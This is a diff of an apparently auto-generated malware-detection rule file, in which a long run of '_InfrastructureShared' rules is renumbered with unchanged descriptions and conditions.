@@ -285347,7 +301817,7 @@ rule _InfrastructureShared_21603{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21604{ +rule _InfrastructureShared_22888{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285357,7 +301827,7 @@ rule _InfrastructureShared_21604{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21605{ +rule _InfrastructureShared_22889{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285367,7 +301837,7 @@ rule _InfrastructureShared_21605{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21606{ +rule _InfrastructureShared_22890{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285377,7 +301847,7 @@ rule _InfrastructureShared_21606{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21607{ +rule _InfrastructureShared_22891{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285387,7 +301857,7 @@ rule _InfrastructureShared_21607{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21608{ +rule _InfrastructureShared_22892{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285397,7 +301867,7 @@ rule _InfrastructureShared_21608{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21609{ +rule _InfrastructureShared_22893{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285407,7 +301877,7 @@ rule _InfrastructureShared_21609{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21610{ +rule _InfrastructureShared_22894{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285417,7 +301887,7 @@ rule _InfrastructureShared_21610{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21611{ +rule _InfrastructureShared_22895{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285427,7 +301897,7 @@ rule _InfrastructureShared_21611{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21612{ +rule _InfrastructureShared_22896{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285437,7 +301907,7 @@ rule _InfrastructureShared_21612{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21613{ +rule _InfrastructureShared_22897{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285447,7 +301917,7 @@ rule _InfrastructureShared_21613{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21614{ +rule _InfrastructureShared_22898{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285457,7 +301927,7 @@ rule _InfrastructureShared_21614{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21615{ +rule _InfrastructureShared_22899{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285467,7 +301937,7 @@ rule _InfrastructureShared_21615{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21616{ +rule _InfrastructureShared_22900{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285477,7 +301947,7 @@ rule _InfrastructureShared_21616{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21617{ +rule _InfrastructureShared_22901{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285487,7 +301957,7 @@ rule _InfrastructureShared_21617{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21618{ +rule _InfrastructureShared_22902{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285497,7 +301967,7 @@ rule _InfrastructureShared_21618{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21619{ +rule _InfrastructureShared_22903{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285507,7 +301977,7 @@ rule _InfrastructureShared_21619{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21620{ +rule _InfrastructureShared_22904{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285517,7 +301987,7 @@ rule _InfrastructureShared_21620{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21621{ +rule _InfrastructureShared_22905{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285527,7 +301997,7 @@ rule _InfrastructureShared_21621{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21622{ +rule _InfrastructureShared_22906{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285537,7 +302007,7 @@ rule _InfrastructureShared_21622{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21623{ +rule _InfrastructureShared_22907{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285547,7 +302017,7 @@ rule _InfrastructureShared_21623{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21624{ +rule _InfrastructureShared_22908{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285557,7 +302027,7 @@ rule _InfrastructureShared_21624{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21625{ +rule _InfrastructureShared_22909{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285567,7 +302037,7 @@ rule _InfrastructureShared_21625{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21626{ +rule _InfrastructureShared_22910{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285577,7 +302047,7 @@ rule _InfrastructureShared_21626{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21627{ +rule _InfrastructureShared_22911{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285587,7 +302057,7 @@ rule _InfrastructureShared_21627{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21628{ +rule _InfrastructureShared_22912{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285597,7 +302067,7 @@ rule _InfrastructureShared_21628{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21629{ +rule _InfrastructureShared_22913{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285607,7 +302077,7 @@ rule _InfrastructureShared_21629{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21630{ +rule _InfrastructureShared_22914{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285617,7 +302087,7 @@ rule _InfrastructureShared_21630{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21631{ +rule _InfrastructureShared_22915{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285627,7 +302097,7 @@ rule _InfrastructureShared_21631{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21632{ +rule _InfrastructureShared_22916{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285637,7 +302107,7 @@ rule _InfrastructureShared_21632{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21633{ +rule _InfrastructureShared_22917{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285647,7 +302117,7 @@ rule _InfrastructureShared_21633{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21634{ +rule _InfrastructureShared_22918{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285657,7 +302127,7 @@ rule _InfrastructureShared_21634{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21635{ +rule _InfrastructureShared_22919{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285667,7 +302137,7 @@ rule _InfrastructureShared_21635{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21636{ +rule _InfrastructureShared_22920{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285677,7 +302147,7 @@ rule _InfrastructureShared_21636{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21637{ +rule _InfrastructureShared_22921{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285687,7 +302157,7 @@ rule _InfrastructureShared_21637{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21638{ +rule _InfrastructureShared_22922{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285697,7 +302167,7 @@ rule _InfrastructureShared_21638{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21639{ +rule _InfrastructureShared_22923{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285707,7 +302177,7 @@ rule _InfrastructureShared_21639{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21640{ +rule _InfrastructureShared_22924{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285717,7 +302187,7 @@ rule _InfrastructureShared_21640{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21641{ +rule _InfrastructureShared_22925{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285727,7 +302197,7 @@ rule _InfrastructureShared_21641{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21642{ +rule _InfrastructureShared_22926{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285737,7 +302207,7 @@ rule _InfrastructureShared_21642{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21643{ +rule _InfrastructureShared_22927{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285747,7 +302217,7 @@ rule _InfrastructureShared_21643{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21644{ +rule _InfrastructureShared_22928{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285757,7 +302227,7 @@ rule _InfrastructureShared_21644{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21645{ +rule _InfrastructureShared_22929{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285767,7 +302237,7 @@ rule _InfrastructureShared_21645{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21646{ +rule _InfrastructureShared_22930{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285777,7 +302247,7 @@ rule _InfrastructureShared_21646{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21647{ +rule _InfrastructureShared_22931{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285787,7 +302257,7 @@ rule _InfrastructureShared_21647{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21648{ +rule _InfrastructureShared_22932{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285797,7 +302267,7 @@ rule _InfrastructureShared_21648{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21649{ +rule _InfrastructureShared_22933{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285807,7 +302277,7 @@ rule _InfrastructureShared_21649{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21650{ +rule _InfrastructureShared_22934{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285817,7 +302287,7 @@ rule _InfrastructureShared_21650{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21651{ +rule _InfrastructureShared_22935{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285827,7 +302297,7 @@ rule _InfrastructureShared_21651{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21652{ +rule _InfrastructureShared_22936{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285837,7 +302307,7 @@ rule _InfrastructureShared_21652{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21653{ +rule _InfrastructureShared_22937{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285847,7 +302317,7 @@ rule _InfrastructureShared_21653{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21654{ +rule _InfrastructureShared_22938{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285857,7 +302327,7 @@ rule _InfrastructureShared_21654{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21655{ +rule _InfrastructureShared_22939{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285867,7 +302337,7 @@ rule _InfrastructureShared_21655{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21656{ +rule _InfrastructureShared_22940{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285877,7 +302347,7 @@ rule _InfrastructureShared_21656{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21657{ +rule _InfrastructureShared_22941{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285887,7 +302357,7 @@ rule _InfrastructureShared_21657{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21658{ +rule _InfrastructureShared_22942{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285897,7 +302367,7 @@ rule _InfrastructureShared_21658{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21659{ +rule _InfrastructureShared_22943{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285907,7 +302377,7 @@ rule _InfrastructureShared_21659{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21660{ +rule _InfrastructureShared_22944{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285917,7 +302387,7 @@ rule _InfrastructureShared_21660{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21661{ +rule _InfrastructureShared_22945{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285927,7 +302397,7 @@ rule _InfrastructureShared_21661{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21662{ +rule _InfrastructureShared_22946{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285937,7 +302407,7 @@ rule _InfrastructureShared_21662{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21663{ +rule _InfrastructureShared_22947{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285947,7 +302417,7 @@ rule _InfrastructureShared_21663{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21664{ +rule _InfrastructureShared_22948{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285957,7 +302427,7 @@ rule _InfrastructureShared_21664{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21665{ +rule _InfrastructureShared_22949{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285967,7 +302437,7 @@ rule _InfrastructureShared_21665{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21666{ +rule _InfrastructureShared_22950{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285977,7 +302447,7 @@ rule _InfrastructureShared_21666{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21667{ +rule _InfrastructureShared_22951{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285987,7 +302457,7 @@ rule _InfrastructureShared_21667{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21668{ +rule _InfrastructureShared_22952{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285997,7 +302467,7 @@ rule _InfrastructureShared_21668{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21669{ +rule _InfrastructureShared_22953{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286007,7 +302477,7 @@ rule _InfrastructureShared_21669{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21670{ +rule _InfrastructureShared_22954{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286017,7 +302487,7 @@ rule _InfrastructureShared_21670{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21671{ +rule _InfrastructureShared_22955{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286027,7 +302497,7 @@ rule _InfrastructureShared_21671{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21672{ +rule _InfrastructureShared_22956{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286037,7 +302507,7 @@ rule _InfrastructureShared_21672{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21673{ +rule _InfrastructureShared_22957{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286047,7 +302517,7 @@ rule _InfrastructureShared_21673{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21674{ +rule _InfrastructureShared_22958{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286057,7 +302527,7 @@ rule _InfrastructureShared_21674{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21675{ +rule _InfrastructureShared_22959{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286067,7 +302537,7 @@ rule _InfrastructureShared_21675{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21676{ +rule _InfrastructureShared_22960{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286077,7 +302547,7 @@ rule _InfrastructureShared_21676{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21677{ +rule _InfrastructureShared_22961{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286087,7 +302557,7 @@ rule _InfrastructureShared_21677{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21678{ +rule _InfrastructureShared_22962{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286097,7 +302567,7 @@ rule _InfrastructureShared_21678{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21679{ +rule _InfrastructureShared_22963{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286107,7 +302577,7 @@ rule _InfrastructureShared_21679{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21680{ +rule _InfrastructureShared_22964{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286117,7 +302587,7 @@ rule _InfrastructureShared_21680{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21681{ +rule _InfrastructureShared_22965{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286127,7 +302597,7 @@ rule _InfrastructureShared_21681{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21682{ +rule _InfrastructureShared_22966{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286137,7 +302607,7 @@ rule _InfrastructureShared_21682{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21683{ +rule _InfrastructureShared_22967{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286147,7 +302617,7 @@ rule _InfrastructureShared_21683{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21684{ +rule _InfrastructureShared_22968{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286157,7 +302627,7 @@ rule _InfrastructureShared_21684{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21685{ +rule _InfrastructureShared_22969{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286167,7 +302637,7 @@ rule _InfrastructureShared_21685{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21686{ +rule _InfrastructureShared_22970{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286177,7 +302647,7 @@ rule _InfrastructureShared_21686{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21687{ +rule _InfrastructureShared_22971{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286187,7 +302657,7 @@ rule _InfrastructureShared_21687{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21688{ +rule _InfrastructureShared_22972{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286197,7 +302667,7 @@ rule _InfrastructureShared_21688{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21689{ +rule _InfrastructureShared_22973{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286207,7 +302677,7 @@ rule _InfrastructureShared_21689{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21690{ +rule _InfrastructureShared_22974{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286217,7 +302687,7 @@ rule _InfrastructureShared_21690{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21691{ +rule _InfrastructureShared_22975{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286227,7 +302697,7 @@ rule _InfrastructureShared_21691{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21692{ +rule _InfrastructureShared_22976{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286237,7 +302707,7 @@ rule _InfrastructureShared_21692{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21693{ +rule _InfrastructureShared_22977{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286247,7 +302717,7 @@ rule _InfrastructureShared_21693{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21694{ +rule _InfrastructureShared_22978{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286257,7 +302727,7 @@ rule _InfrastructureShared_21694{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21695{ +rule _InfrastructureShared_22979{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286267,7 +302737,7 @@ rule _InfrastructureShared_21695{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21696{ +rule _InfrastructureShared_22980{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286277,7 +302747,7 @@ rule _InfrastructureShared_21696{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21697{ +rule _InfrastructureShared_22981{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286287,7 +302757,7 @@ rule _InfrastructureShared_21697{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21698{ +rule _InfrastructureShared_22982{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286297,7 +302767,7 @@ rule _InfrastructureShared_21698{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21699{ +rule _InfrastructureShared_22983{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286307,7 +302777,7 @@ rule _InfrastructureShared_21699{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21700{ +rule _InfrastructureShared_22984{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286317,7 +302787,7 @@ rule _InfrastructureShared_21700{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21701{ +rule _InfrastructureShared_22985{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286327,7 +302797,7 @@ rule _InfrastructureShared_21701{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21702{ +rule _InfrastructureShared_22986{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286337,7 +302807,7 @@ rule _InfrastructureShared_21702{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21703{ +rule _InfrastructureShared_22987{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286347,7 +302817,7 @@ rule _InfrastructureShared_21703{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21704{ +rule _InfrastructureShared_22988{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286357,7 +302827,7 @@ rule _InfrastructureShared_21704{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21705{ +rule _InfrastructureShared_22989{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -286367,7 +302837,7 @@ rule _InfrastructureShared_21705{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21706{ +rule _InfrastructureShared_22990{ meta: description = 